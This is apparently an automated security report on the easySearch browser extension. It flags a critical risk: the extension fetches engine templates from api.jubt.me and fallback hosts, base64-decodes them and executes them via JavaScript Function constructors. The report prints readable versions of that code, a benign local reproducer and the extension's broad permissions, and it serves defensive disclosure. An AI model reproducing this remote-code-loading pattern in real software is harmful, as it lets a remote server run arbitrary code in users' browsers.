Is easySearch safe?
easySearch is critical risk. Code analysis shows easySearch can fetch engine definitions from api.jubt.me and fallback hosts, base64-decode non-default templates, and pass them into JS function constructors. Testing found no live response since hosts were down.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Remote templates become JavaScript in easySearch
Code analysis shows easySearch can fetch engine definitions from api.jubt.me and fallback hosts, base64-decode non-default templates, and pass them into JS function constructors.
Testing found no live response since hosts were down.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
You use the extension's search feature while its engine-update path is available.
The update path depends on configured API hosts returning engine definitions.
The extension can turn a server-provided template into JavaScript that runs inside its search flow.
Non-default parser and searcher templates are decoded and passed into function constructors.
Dynamic analysis did not capture a live response; two test sessions observed zero traffic to api.jubt.me and all configured API domains failed DNS resolution.
- Search URLhttps://www.google.com/search?q=ubuntu+iso (illustrative)
Lets generated code see the page or search endpoint being processed.
- Search keywordubuntu iso
Shows what you searched for inside the extension.
- Fetched page content<html><body><a href="https://example.org/download">Ubuntu ISO</a></body></html> (illustrative)
Lets generated parser code read the returned page content from a search provider.
- Result source label<a href='https://www.google.com' target='_blank'>Google</a> (illustrative)
Adds context about which search engine or source produced a result.
Server templates are decoded and passed to JavaScript constructors
Readable equivalent of the engine update loop
js/utils.jsconst pluginVersion = "1.3.1";const apiHosts = [ "https://api.jubt.me", "https://api.ijubt.net", "https://api.ijubt.ga", "https://api.ijubt.cf", "https://api.ijubt.gq", "https://api.ijubt.ml", "https://api.jubt.ml", "https://api.jubt.ga", "https://api.jubt.cf", "https://api.jubt.gq"];async function fetchLatestEngineDefinitions(config) { for (const host of apiHosts) { const versionUrl = `${host}/version.php?plugin_version=${pluginVersion}`; const updateUrl = `${host}/index${pluginVersion}.php?upgrade=1&plugin_version=${pluginVersion}`; const result = await fetchEngineData(config, versionUrl, updateUrl); if (result && Object.keys(result).length > 0) return result; } return {};}Readable equivalent of storing returned engines
js/utils.jsif (storedVersion < serverVersion) { const response = await httpGet(updateUrl); const parsed = JSON.parse(response.body); const keys = parsed.keys; const engines = parsed.engines; if (engines) { chrome.storage.local.set({ engines_keys: keys, engines: engines, latest: serverVersion }); } return { upgrade, upgrade_url: upgradeUrl, keys, engines, version: serverVersion, latest: storedVersion };}Readable equivalent of template decoding
background.jsif (engine.method === "NEWTAB" || engine.method === "NEWTAB_IFRAME") { if (engine.searcher !== "default") { const decodedSearcherBody = base64DecodeUnicode(engine.searcher); const searcher = buildSearcher(searcherName, decodedSearcherBody); if (typeof searcher !== "function") return []; }}if (engine.parser !== "default") { const decodedParserBody = base64DecodeUnicode(engine.parser); const parser = buildParser(parserName, engine.type, decodedParserBody); if (typeof parser !== "function") return [];}Readable equivalent of dynamic construction
js/utils.jsfunction buildParser(parserName, type, templateBody) { const body = templateBody .replace("%parserName%", parserName) .replace("%type%", type); return new Function("content", "url", "source", "keyword", body);}function buildSearcher(searcherName, templateBody) { const body = templateBody.replace("%searcherName%", searcherName); return new Function("url", "keyword", body);}- api.jubt.me
Primary host used to check versions and request engine updates.
- api.ijubt.net
- api.ijubt.ga
- api.ijubt.cf
- api.ijubt.gq
- api.ijubt.ml
- api.jubt.ml
- api.jubt.ga
- api.jubt.cf
- api.jubt.gq
Fallback API host in the shipped domains list.
Recreates the extension's base64-template path locally so you can see how a returned template becomes a JavaScript function.
- Node.js 18+
function base64EncodeUnicode(str) { return Buffer.from(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function (_match, p1) { return String.fromCharCode('0x' + p1); }), 'binary').toString('base64');}function base64DecodeUnicode(str) { return decodeURIComponent(Buffer.from(str, 'base64').toString('binary').split('').map(function (c) { return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2); }).join(''));}function buildSearcher(searcherName, bodyTemplate) { bodyTemplate = bodyTemplate.replace('%searcherName%', searcherName); let myfunc = new Function('url', 'keyword', bodyTemplate); return myfunc;}function buildParser(parserName, type, bodyTemplate) { bodyTemplate = bodyTemplate.replace('%parserName%', parserName); bodyTemplate = bodyTemplate.replace('%type%', type); let myfunc = new Function('content', 'url', 'source', 'keyword', bodyTemplate); return myfunc;}const returnedSearcherBody = "return { searcherName: '%searcherName%', url, keyword };";const returnedParserBody = "return { parserName: '%parserName%', type: '%type%', url, source, keyword, contentLength: content.length };";const encodedSearcher = base64EncodeUnicode(returnedSearcherBody);const encodedParser = base64EncodeUnicode(returnedParserBody);const decodedSearcher = base64DecodeUnicode(encodedSearcher);const decodedParser = base64DecodeUnicode(encodedParser);const searcher = buildSearcher('remoteSearcher', decodedSearcher);const parser = buildParser('remoteParser', 'searchengine', decodedParser);console.log(searcher('https://www.google.com/search?q=ubuntu+iso', 'ubuntu iso'));console.log(parser('<html><body>result</body></html>', 'https://www.google.com/search?q=ubuntu+iso', "<a href='https://www.google.com' target='_blank'>Google</a>", 'ubuntu iso'));- 1node easysearch-template-reproducer.js
What it can do
Permissions this extension asks for, as declared in version 1.3.1.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Add items to the right-click menu
contextMenus
Keep running in the background while your browser is open
background
Watch every request your browser makes
webRequest
Watch, block and rewrite every request your browser makes
webRequestBlocking
Store data in your browser
storage
Store an unlimited amount of data in your browser
unlimitedStorage
See every page you navigate to, as you navigate to it
webNavigation